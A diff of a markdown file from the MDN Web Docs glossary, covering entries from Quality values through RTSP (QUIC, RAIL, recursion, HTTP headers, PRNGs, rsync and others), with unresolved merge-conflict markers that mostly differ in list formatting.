+-   [Django Web Framework (Python)](/en-US/docs/Learn/Server-side/Django) on MDN
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Java"_)
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("PHP"_)
+    -   _Glossary("Python"_)
+    -   _Glossary("Ruby"_)
+>>>>>>> master
 
 ---
 
 ## Term: Quality values
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10057,19 +15308,33 @@ Starting with Firefox 18, the quality factor values are clamped to 2 decimal pla
 
 ## More information
 
+<<<<<<< HEAD
 - [HTTP headers](/en-US/docs/Web/HTTP/Headers) using q-values in their syntax: _HTTPHeader("Accept"_), _HTTPHeader("Accept-Language"_), _HTTPHeader("TE"_).
 - [Header field definitions.](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html)
+=======
+-   [HTTP headers](/en-US/docs/Web/HTTP/Headers) using q-values in their syntax: _HTTPHeader("Accept"_), _HTTPHeader("Accept-Language"_), _HTTPHeader("TE"_).
+-   [Header field definitions.](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html)
+>>>>>>> master
 
 ---
 
 ## Term: Quaternion
 
+<<<<<<< HEAD
 - Definition
 - Glossary
 - Orientation
 - Quaternion
 - WebXR
 - rotation
+=======
+-   Definition
+-   Glossary
+-   Orientation
+-   Quaternion
+-   WebXR
+-   rotation
+>>>>>>> master
 
 ---
 
@@ -10079,19 +15344,33 @@ While mathematical quaternions are more involved than this, the **unit quaternio
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Quaternions and spatial rotation"_) on Wikipedia
 - _interwiki("wikipedia", "Quaternion"_) on Wikipedia
 - _domxref("XRRigidTransform.orientation"_) in the WebXR Device API reference
+=======
+-   _interwiki("wikipedia", "Quaternions and spatial rotation"_) on Wikipedia
+-   _interwiki("wikipedia", "Quaternion"_) on Wikipedia
+-   _domxref("XRRigidTransform.orientation"_) in the WebXR Device API reference
+>>>>>>> master
 
 ---
 
 ## Term: QUIC
 
+<<<<<<< HEAD
 - Glossary
 - HTTP
 - QUIC
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   HTTP
+-   QUIC
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -10103,36 +15382,61 @@ QUIC was designed to support the semantics of HTTP/2. It provides multiplexing,
 
 Key features of QUIC include:
 
+<<<<<<< HEAD
 - Reduction in connection establishment time.
 - Improved congestion control.
 - Multiplexing without head-of-line blocking.
 - Forward error correction.
 - Connection migration.
+=======
+-   Reduction in connection establishment time.
+-   Improved congestion control.
+-   Multiplexing without head-of-line blocking.
+-   Forward error correction.
+-   Connection migration.
+>>>>>>> master
 
 There is limited browser and server support for QUIC today.
 
 ### Resources
 
+<<<<<<< HEAD
 - [Chromium Projects Documentation](https://www.chromium.org/quic)
 - [IETF Draft](https://datatracker.ietf.org/doc/html/draft-tsvwg-quic-protocol-02)
 
 #### See also
 
 - [HTTP/2](/en-US/docs/Glossary/HTTP_2)
+=======
+-   [Chromium Projects Documentation](https://www.chromium.org/quic)
+-   [IETF Draft](https://datatracker.ietf.org/doc/html/draft-tsvwg-quic-protocol-02)
+
+#### See also
+
+-   [HTTP/2](/en-US/docs/Glossary/HTTP_2)
+>>>>>>> master
 
 ---
 
 ## Term: RAIL
 
+<<<<<<< HEAD
 - Glossary
 - RAIL
 - Timings
 - Web Performance
+=======
+-   Glossary
+-   RAIL
+-   Timings
+-   Web Performance
+>>>>>>> master
 
 ---
 
 > **RAIL**, an acronym for **Response, Animation, Idle, and Load**, is a performance model originated by the Google Chrome team in 2015, focused on user experience and performance within the browser. The performance mantra of RAIL is "Focus on the user; the end goal isn't to make your site perform fast on any specific device, it's to make users happy." There are 4 stages of interaction: page load, idle, response to input, and scrolling and animation. In acronym order, the main tenets are:
 
+<<<<<<< HEAD
 - **Response**
 - - : Respond to users immediately, acknowledging any user input in **100ms** or less.
 - **Animation**
@@ -10145,11 +15449,26 @@ There is limited browser and server support for QUIC today.
 #### See also
 
 - [Recommended Web Performance Timings: How long is too long](/en-US/docs/Web/Performance/How_long_is_too_long)
+=======
+-   **Response**
+-   -   : Respond to users immediately, acknowledging any user input in **100ms** or less.
+-   **Animation**
+-   -   : When animating, render each frame in under **16ms**, aiming for consistency and avoiding jank.
+-   **Idle**
+    -   : When using the main JavaScript thread, work in chunks for less than **50ms** to free up the thread for user interactions.
+-   **Load**
+    -   : Deliver interactive content in less than **1 second**.
+
+#### See also
+
+-   [Recommended Web Performance Timings: How long is too long](/en-US/docs/Web/Performance/How_long_is_too_long)
+>>>>>>> master
 
 ---
 
 ## Term: Raster image
 
+<<<<<<< HEAD
 - CUR
 - Documents
 - Glossary
@@ -10158,6 +15477,16 @@ There is limited browser and server support for QUIC today.
 - PNG
 - gif
 - raster image
+=======
+-   CUR
+-   Documents
+-   Glossary
+-   ICO
+-   JPEG
+-   PNG
+-   gif
+-   raster image
+>>>>>>> master
 
 ---
 
@@ -10167,17 +15496,29 @@ Raster image files usually contain one set of dimensions, but the ICO and CUR fo
 
 #### See also
 
+<<<<<<< HEAD
 - _glossary("Vector images"_)
+=======
+-   _glossary("Vector images"_)
+>>>>>>> master
 
 ---
 
 ## Term: RDF
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Infrastructure
 - OpenPractices
 - WebMechanics
+=======
+-   CodingScripting
+-   Glossary
+-   Infrastructure
+-   OpenPractices
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10185,16 +15526,27 @@ Raster image files usually contain one set of dimensions, but the ICO and CUR fo
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Resource Description Framework"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Resource Description Framework"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Real User Monitoring (RUM)
 
+<<<<<<< HEAD
 - Glossary
 - RUM
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   RUM
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -10202,16 +15554,27 @@ Raster image files usually contain one set of dimensions, but the ICO and CUR fo
 
 #### See also
 
+<<<<<<< HEAD
 - [Real User Monitoring (RUM) versus Synthetic Monitoring](/en-US/docs/Web/Performance/Rum-vs-Synthetic)
 - [Synthetic Monitoring](/en-US/docs/Glossary/Synthetic_monitoring)
 - [Beacon](/en-US/docs/Glossary/beacon)
+=======
+-   [Real User Monitoring (RUM) versus Synthetic Monitoring](/en-US/docs/Web/Performance/Rum-vs-Synthetic)
+-   [Synthetic Monitoring](/en-US/docs/Glossary/Synthetic_monitoring)
+-   [Beacon](/en-US/docs/Glossary/beacon)
+>>>>>>> master
 
 ---
 
 ## Term: Recursion
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -10224,6 +15587,10 @@ Raster image files usually contain one set of dimensions, but the ICO and CUR fo
 The following Python code defines a function that takes a number, prints it, and then calls itself again with the number's value -1. It keeps going until the number is equal to 0, in which case it stops.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 def recurse(x):
    if x > 0:
        print(x)
@@ -10247,16 +15614,27 @@ The output will look like this:
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Recursion (computer science)"_) on Wikipedia
 - [More details about recursion in JavaScript](/en-US/docs/Web/JavaScript/Guide/Functions#recursion)
+=======
+-   _Interwiki("wikipedia", "Recursion (computer science)"_) on Wikipedia
+-   [More details about recursion in JavaScript](/en-US/docs/Web/JavaScript/Guide/Functions#recursion)
+>>>>>>> master
 
 ---
 
 ## Term: Reference
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -10266,14 +15644,23 @@ In computing, a reference is a value that indirectly accesses data to retrieve a
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Reference (computer science)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Reference (computer science)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Reflow
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10281,15 +15668,25 @@ In computing, a reference is a value that indirectly accesses data to retrieve a
 
 #### See also
 
+<<<<<<< HEAD
 - [Google article "Minimizing browser reflow"](https://developers.google.com/speed/articles/reflow)
+=======
+-   [Google article "Minimizing browser reflow"](https://developers.google.com/speed/articles/reflow)
+>>>>>>> master
 
 ---
 
 ## Term: Regular expression
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Regular Expression
+=======
+-   CodingScripting
+-   Glossary
+-   Regular Expression
+>>>>>>> master
 
 ---
 
@@ -10299,19 +15696,33 @@ Regular expressions are implemented in various languages, but the best-known imp
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Regular expressions"_) on Wikipedia
 - [Interactive tutorial](https://regexone.com/)
 - [Visualized Regular Expression](https://regexper.com/)
 - [Writing regular expressions in JavaScript](/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+=======
+-   _Interwiki("wikipedia", "Regular expressions"_) on Wikipedia
+-   [Interactive tutorial](https://regexone.com/)
+-   [Visualized Regular Expression](https://regexper.com/)
+-   [Writing regular expressions in JavaScript](/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+>>>>>>> master
 
 ---
 
 ## Term: Rendering engine
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Rendering engine
 - Web browser engine
+=======
+-   Glossary
+-   Infrastructure
+-   Rendering engine
+-   Web browser engine
+>>>>>>> master
 
 ---
 
@@ -10319,18 +15730,31 @@ Regular expressions are implemented in various languages, but the best-known imp
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Web browser engine"_) on Wikipedia
 - [Venkatraman.R - Behind Browsers (Part 1, Basics) ](https://medium.com/@ramsunvtech/behind-browser-basics-part-1-b733e9f3c0e6)
+=======
+-   _Interwiki("wikipedia", "Web browser engine"_) on Wikipedia
+-   [Venkatraman.R - Behind Browsers (Part 1, Basics) ](https://medium.com/@ramsunvtech/behind-browser-basics-part-1-b733e9f3c0e6)
+>>>>>>> master
 
 ---
 
 ## Term: Repo
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Intro
 - Repo
 - Repository
+=======
+-   Glossary
+-   Infrastructure
+-   Intro
+-   Repo
+-   Repository
+>>>>>>> master
 
 ---
 
@@ -10338,18 +15762,31 @@ Regular expressions are implemented in various languages, but the best-known imp
 
 #### See also
 
+<<<<<<< HEAD
 - [Repository](https://en.wikipedia.org/wiki/Repository_%28revision_control%29) on Wikipedia
+=======
+-   [Repository](https://en.wikipedia.org/wiki/Repository_%28revision_control%29) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Reporting directive
 
+<<<<<<< HEAD
 - CSP
 - HTTP
 - Policy
 - Reporting
 - Security
 - Violation
+=======
+-   CSP
+-   HTTP
+-   Policy
+-   Reporting
+-   Security
+-   Violation
+>>>>>>> master
 
 ---
 
@@ -10359,6 +15796,7 @@ See [Reporting directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#
 
 #### See also
 
+<<<<<<< HEAD
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("CSP"_)
@@ -10373,13 +15811,34 @@ See [Reporting directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#
     - _HTTPHeader("Content-Security-Policy/block-all-mixed-content", "block-all-mixed-content"_)
     - _HTTPHeader("Content-Security-Policy/require-sri-for", "require-sri-for"_) \_deprecated_inline}}
     - _HTTPHeader("Content-Security-Policy"_)
+=======
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("CSP"_)
+    -   _Glossary("Fetch directive"_)
+    -   _Glossary("Document directive"_)
+    -   _Glossary("Navigation directive"_)
+
+-   Reference
+
+    -   <https://www.w3.org/TR/CSP/#directives-reporting>
+    -   _HTTPHeader("Content-Security-Policy/upgrade-insecure-requests", "upgrade-insecure-requests"_)
+    -   _HTTPHeader("Content-Security-Policy/block-all-mixed-content", "block-all-mixed-content"_)
+    -   _HTTPHeader("Content-Security-Policy/require-sri-for", "require-sri-for"_) \_deprecated_inline}}
+    -   _HTTPHeader("Content-Security-Policy"_)
+>>>>>>> master
 
 ---
 
 ## Term: Representation header
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10398,18 +15857,31 @@ Representation headers include: _HTTPHeader("Content-Type"_), _HTTPHeader("Conte
 
 #### See also
 
+<<<<<<< HEAD
 - [RFC 7231, section 3: Representations](https://datatracker.ietf.org/doc/html/rfc7231#section-3)
 - [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
 - _Glossary("Payload header"_)
 - _glossary("Entity header"_)
 - _HTTPHeader("Digest"_)/ _HTTPHeader("Want-Digest"_)
+=======
+-   [RFC 7231, section 3: Representations](https://datatracker.ietf.org/doc/html/rfc7231#section-3)
+-   [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
+-   _Glossary("Payload header"_)
+-   _glossary("Entity header"_)
+-   _HTTPHeader("Digest"_)/ _HTTPHeader("Want-Digest"_)
+>>>>>>> master
 
 ---
 
 ## Term: Request header
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10421,7 +15893,11 @@ In addition, [CORS](/en-US/docs/Glossary/CORS) defines a subset of request heade
 
 The HTTP message below shows a few request headers after a _HTTPMethod("GET"_) request:
 
+<<<<<<< HEAD
 ```bash
+=======
+```console
+>>>>>>> master
 GET /home.html HTTP/1.1
 Host: developer.mozilla.org
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
@@ -10438,16 +15914,27 @@ Cache-Control: max-age=0
 
 #### See also
 
+<<<<<<< HEAD
 - [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
 - [RFC 7231, section 5: Request header fields](https://datatracker.ietf.org/doc/html/rfc7231#section-5)
+=======
+-   [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
+-   [RFC 7231, section 5: Request header fields](https://datatracker.ietf.org/doc/html/rfc7231#section-5)
+>>>>>>> master
 
 ---
 
 ## Term: Resource Timing
 
+<<<<<<< HEAD
 - Glossary
 - Timings
 - Web Performance
+=======
+-   Glossary
+-   Timings
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -10455,15 +15942,25 @@ Cache-Control: max-age=0
 
 #### See also
 
+<<<<<<< HEAD
 - [Using the resource timing API](/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API)
 - [Server Timing](https://www.w3.org/TR/server-timing/)
+=======
+-   [Using the resource timing API](/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API)
+-   [Server Timing](https://www.w3.org/TR/server-timing/)
+>>>>>>> master
 
 ---
 
 ## Term: Response header
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10495,6 +15992,7 @@ x-frame-options: DENY
 
 #### See also
 
+<<<<<<< HEAD
 - [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
 - [Glossary](/en-US/docs/Glossary)
 
@@ -10503,15 +16001,32 @@ x-frame-options: DENY
     - _Glossary("Response header"_)
     - _Glossary("Fetch metadata response header"_)
     - _Glossary("Request header"_)
+=======
+-   [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Representation header"_)
+    -   _Glossary("HTTP header"_)
+    -   _Glossary("Response header"_)
+    -   _Glossary("Fetch metadata response header"_)
+    -   _Glossary("Request header"_)
+>>>>>>> master
 
 ---
 
 ## Term: Responsive web design
 
+<<<<<<< HEAD
 - Accessibility
 - Design
 - Glossary
 - Responsive web design
+=======
+-   Accessibility
+-   Design
+-   Glossary
+-   Responsive web design
+>>>>>>> master
 
 ---
 
@@ -10519,20 +16034,35 @@ x-frame-options: DENY
 
 #### See also
 
+<<<<<<< HEAD
 - [Summary and resources](/en-US/docs/Web/Progressive_web_apps)
 - [Pros and cons of going responsive](/en-US/docs/Web/Progressive_web_apps)
 - [Responsive Web Design](https://msdn.microsoft.com/magazine/hh653584.aspx)
+=======
+-   [Summary and resources](/en-US/docs/Web/Progressive_web_apps)
+-   [Pros and cons of going responsive](/en-US/docs/Web/Progressive_web_apps)
+-   [Responsive Web Design](https://msdn.microsoft.com/magazine/hh653584.aspx)
+>>>>>>> master
 
 ---
 
 ## Term: REST
 
+<<<<<<< HEAD
 - Architecture
 - Beginner
 - Glossary
 - HTTP
 - Rest
 - WebMechanics
+=======
+-   Architecture
+-   Beginner
+-   Glossary
+-   HTTP
+-   Rest
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10544,19 +16074,33 @@ HTTP APIs in general are sometimes colloquially referred to as RESTful APIs, RES
 
 #### See also
 
+<<<<<<< HEAD
 - [restapitutorial.com](https://www.restapitutorial.com/)
 - [restcookbook.com](https://restcookbook.com/)
 - _Interwiki("wikipedia", "Representational_state_transfer", "REST"_) on Wikipedia
 - [REST Architecture](https://www.service-architecture.com/articles/web-services/representational_state_transfer_rest.html)
+=======
+-   [restapitutorial.com](https://www.restapitutorial.com/)
+-   [restcookbook.com](https://restcookbook.com/)
+-   _Interwiki("wikipedia", "Representational_state_transfer", "REST"_) on Wikipedia
+-   [REST Architecture](https://www.service-architecture.com/articles/web-services/representational_state_transfer_rest.html)
+>>>>>>> master
 
 ---
 
 ## Term: RGB
 
+<<<<<<< HEAD
 - Beginner
 - CSS
 - Design
 - Guide
+=======
+-   Beginner
+-   CSS
+-   Design
+-   Guide
+>>>>>>> master
 
 ---
 
@@ -10566,13 +16110,19 @@ There are many ways to describe the RGB components of a color. In _Glossary("CSS
 
 #### See also
 
+<<<<<<< HEAD
 - [RGB color model on Wikipedia](https://en.wikipedia.org/wiki/RGB_color_model)
 - [CSS data type: \<color>](/en-US/docs/Web/CSS/color_value)
+=======
+-   [RGB color model on Wikipedia](https://en.wikipedia.org/wiki/RGB_color_model)
+-   [CSS data type: \<color>](/en-US/docs/Web/CSS/color_value)
+>>>>>>> master
 
 ---
 
 ## Term: RIL
 
+<<<<<<< HEAD
 - B2G
 - Firefox OS
 - Glossary
@@ -10580,6 +16130,15 @@ There are many ways to describe the RGB components of a color. In _Glossary("CSS
 - Intro
 - Mobile
 - Telephony
+=======
+-   B2G
+-   Firefox OS
+-   Glossary
+-   Infrastructure
+-   Intro
+-   Mobile
+-   Telephony
+>>>>>>> master
 
 ---
 
@@ -10587,14 +16146,23 @@ There are many ways to describe the RGB components of a color. In _Glossary("CSS
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Radio Interface Layer"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Radio Interface Layer"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Random Number Generator
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -10604,23 +16172,39 @@ PRNGs can be used for a variety of applications, such as games.
 
 A cryptographically secure PRNG is a PRNG with certain extra properties making it suitable for use in cryptography. These include:
 
+<<<<<<< HEAD
 - that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output
 - that if an attacker can work out its current state, this should not enable the attacker to work out previously emitted numbers.
+=======
+-   that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output
+-   that if an attacker can work out its current state, this should not enable the attacker to work out previously emitted numbers.
+>>>>>>> master
 
 Most PRNGs are not cryptographically secure.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Pseudorandom number generator"_) on Wikipedia
 - _jsxref("Math.random()"_), a built-in JavaScript PRNG function. Note that this is not a cryptographically secure PRNG.
 - _domxref("Crypto.getRandomValues()"_): this is intended to provide cryptographically secure numbers.
+=======
+-   _Interwiki("wikipedia", "Pseudorandom number generator"_) on Wikipedia
+-   _jsxref("Math.random()"_), a built-in JavaScript PRNG function. Note that this is not a cryptographically secure PRNG.
+-   _domxref("Crypto.getRandomValues()"_): this is intended to provide cryptographically secure numbers.
+>>>>>>> master
 
 ---
 
 ## Term: Robots.txt
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -10630,27 +16214,47 @@ For example, the site admin can forbid crawlers to visit a certain folder (and a
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Robots.txt"_) on Wikipedia
 - <https://developers.google.com/search/reference/robots_txt>
 - Standard specification draft: [https://datatracker.ietf.org/doc/html/draft-rep-wg-topic](https://datatracker.ietf.org/doc/html/draft-rep-wg-topic-00)
 - <https://www.robotstxt.org/>
+=======
+-   _Interwiki("wikipedia", "Robots.txt"_) on Wikipedia
+-   <https://developers.google.com/search/reference/robots_txt>
+-   Standard specification draft: [https://datatracker.ietf.org/doc/html/draft-rep-wg-topic](https://datatracker.ietf.org/doc/html/draft-rep-wg-topic-00)
+-   <https://www.robotstxt.org/>
+>>>>>>> master
 
 ---
 
 ## Term: Round Trip Time (RTT)
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Performance
 - Resource
 - Round Trip Time
 - Web Performance
+=======
+-   Beginner
+-   Glossary
+-   Performance
+-   Resource
+-   Round Trip Time
+-   Web Performance
+>>>>>>> master
 
 ---
 
 > **Round Trip Time (RTT)** is the length time it takes for a data packet to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin. The RTT between a network and server can be determined by using the `ping` command.
 
+<<<<<<< HEAD
 ```bash
+=======
+```console
+>>>>>>> master
 $ ping example.com
 PING example.com (216.58.194.174): 56 data bytes
 64 bytes from 216.58.194.174: icmp_seq=0 ttl=55 time=25.050 ms
@@ -10667,14 +16271,23 @@ In the above example, the average round trip time is shown on the final line as
 
 #### See also
 
+<<<<<<< HEAD
 - [Time to First Byte (TTFB)](/en-US/docs/Glossary/time_to_first_byte)
 - [Latency](/en-US/docs/Glossary/Latency)
+=======
+-   [Time to First Byte (TTFB)](/en-US/docs/Glossary/time_to_first_byte)
+-   [Latency](/en-US/docs/Glossary/Latency)
+>>>>>>> master
 
 ---
 
 ## Term: Routers
 
+<<<<<<< HEAD
 - Intro
+=======
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -10688,6 +16301,7 @@ In the above example, the average round trip time is shown on the final line as
 
 For network layer context:
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Router (computing)"_) on Wikipedia
 
 For SPA in application layer context, most of the popular SPA frameworks has its routing library:
@@ -10695,16 +16309,33 @@ For SPA in application layer context, most of the popular SPA frameworks has its
 - [Angular router](https://angular.io/guide/router)
 - [React router](https://reacttraining.com/react-router)
 - [Vue router](https://router.vuejs.org)
+=======
+-   _Interwiki("wikipedia", "Router (computing)"_) on Wikipedia
+
+For SPA in application layer context, most of the popular SPA frameworks has its routing library:
+
+-   [Angular router](https://angular.io/guide/router)
+-   [React router](https://reacttraining.com/react-router)
+-   [Vue router](https://router.vuejs.org)
+>>>>>>> master
 
 ---
 
 ## Term: RSS
 
+<<<<<<< HEAD
 - Glossary
 - OpenPractices
 - RSS
 - Sharing
 - WebMechanics
+=======
+-   Glossary
+-   OpenPractices
+-   RSS
+-   Sharing
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -10712,8 +16343,13 @@ For SPA in application layer context, most of the popular SPA frameworks has its
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "RSS"_) on Wikipedia
 - [Latest specification](https://www.rssboard.org/rss-specification)
+=======
+-   _Interwiki("wikipedia", "RSS"_) on Wikipedia
+-   [Latest specification](https://www.rssboard.org/rss-specification)
+>>>>>>> master
 
 ---
 
@@ -10725,6 +16361,7 @@ For SPA in application layer context, most of the popular SPA frameworks has its
 
 A basic command looks like this:
 
+<<<<<<< HEAD
 ```bash
 rsync [-options] SOURCE user@x.x.x.x:DESTINATION
 ```
@@ -10738,6 +16375,21 @@ rsync [-options] SOURCE user@x.x.x.x:DESTINATION
 You can also make a connection over SSH using the `-e` option as shown:
 
 ```bash
+=======
+```console
+rsync [-options] SOURCE user@x.x.x.x:DESTINATION
+```
+
+-   `-options` is a dash followed by one or more letters, for example `-v` for verbose error messages, and `-b` to make backups. See the full list of options at the [rsync man page.](https://linux.die.net/man/1/rsync) (Search for "Options summary.")
+-   `SOURCE` is the path to the local file or directory that you want to copy or synchronize
+-   `user@` is the credentials of the user on the remote server you want to copy files over to.
+-   `x.x.x.x` is the IP address of the remote server.
+-   `DESTINATION` is the path to the location you want to copy your directory or files to on the remote server.
+
+You can also make a connection over SSH using the `-e` option as shown:
+
+```console
+>>>>>>> master
 rsync [-options] -e "ssh [SSH DETAILS GO HERE]" SOURCE user@x.x.x.x:DESTINATION
 ```
 
@@ -10747,12 +16399,21 @@ There are numerous examples on the Internet, including those at the [official we
 
 ## Term: RTCP (RTP Control Protocol)
 
+<<<<<<< HEAD
 - Glossary
 - Media
 - Networking
 - Protocol
 - RTCP
 - control
+=======
+-   Glossary
+-   Media
+-   Networking
+-   Protocol
+-   RTCP
+-   control
+>>>>>>> master
 
 ---
 
@@ -10764,19 +16425,33 @@ RTCP periodically transmits control packets to all of an RTP session's participa
 
 #### See also
 
+<<<<<<< HEAD
 - [Introduction to the Real-time Transport Protocol](/en-US/docs/Web/API/WebRTC_API/Intro_to_RTP)
 - _interwiki("wikipedia", "RTP Control Protocol"_)
 - _RFC(3550, 6, "RFC 3550 Section 6"_)
+=======
+-   [Introduction to the Real-time Transport Protocol](/en-US/docs/Web/API/WebRTC_API/Intro_to_RTP)
+-   _interwiki("wikipedia", "RTP Control Protocol"_)
+-   _RFC(3550, 6, "RFC 3550 Section 6"_)
+>>>>>>> master
 
 ---
 
 ## Term: RTF
 
+<<<<<<< HEAD
 - Composing
 - Format
 - Glossary
 - RTF
 - Rich Text Format
+=======
+-   Composing
+-   Format
+-   Glossary
+-   RTF
+-   Rich Text Format
+>>>>>>> master
 
 ---
 
@@ -10786,16 +16461,27 @@ Three programmers in the Microsoft Word team created RTF in the 1980s, and Micro
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Rich Text Format"_) on Wikipedia
 - [final specification from Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=10725)
+=======
+-   _Interwiki("wikipedia", "Rich Text Format"_) on Wikipedia
+-   [final specification from Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=10725)
+>>>>>>> master
 
 ---
 
 ## Term: RTL (Right to Left)
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - Localization
+=======
+-   Composing
+-   Glossary
+-   Localization
+>>>>>>> master
 
 ---
 
@@ -10807,20 +16493,35 @@ The opposite of RTL, LTR (Left To Right) is used in other languages, including E
 
 #### See also
 
+<<<<<<< HEAD
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Localization"_)
     - _Glossary("LTR", "LTR (Left to Right)"_)
     - _Glossary("RTL", "RTL (Right to Left)"_)
+=======
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Localization"_)
+    -   _Glossary("LTR", "LTR (Left to Right)"_)
+    -   _Glossary("RTL", "RTL (Right to Left)"_)
+>>>>>>> master
 
 ---
 
 ## Term: RTP (Real-time Transport Protocol) and SRTP (Secure RTP)
 
+<<<<<<< HEAD
 - Glossary
 - Network
 - Protocol
 - RTP
+=======
+-   Glossary
+-   Network
+-   Protocol
+-   RTP
+>>>>>>> master
 
 ---
 
@@ -10832,18 +16533,31 @@ RTP is rarely used alone; instead, it is used in conjunction with other protocol
 
 #### See also
 
+<<<<<<< HEAD
 - [Introduction to the Real-time Transport Protocol](/en-US/docs/Web/API/WebRTC_API/Intro_to_RTP)
 - _Interwiki("wikipedia", "Real-time_Transport_Protocol","RTP"_) on Wikipedia
 - _RFC(3550_) (one of the documents that specify precisely how the protocol works)
+=======
+-   [Introduction to the Real-time Transport Protocol](/en-US/docs/Web/API/WebRTC_API/Intro_to_RTP)
+-   _Interwiki("wikipedia", "Real-time_Transport_Protocol","RTP"_) on Wikipedia
+-   _RFC(3550_) (one of the documents that specify precisely how the protocol works)
+>>>>>>> master
 
 ---
 
 ## Term: 'RTSP: Real-time streaming protocol'
 
+<<<<<<< HEAD
 - Glossary
 - Real-time streaming protocol
 - Reference
 - rtsp
+=======
+-   Glossary
+-   Real-time streaming protocol
+-   Reference
+-   rtsp
+>>>>>>> master
 
 ---
 
@@ -10851,19 +16565,33 @@ RTP is rarely used alone; instead, it is used in conjunction with other protocol
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Real_Time_Streaming_Protocol","RTSP"_) on Wikipedia
 - [RFC 7826](https://datatracker.ietf.org/doc/html/rfc7826) (one of the documents that specifies precisely how the protocol works)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("RTSP"_)
+=======
+-   _Interwiki("wikipedia", "Real_Time_Streaming_Protocol","RTSP"_) on Wikipedia
+-   [RFC 7826](https://datatracker.ietf.org/doc/html/rfc7826) (one of the documents that specifies precisely how the protocol works)
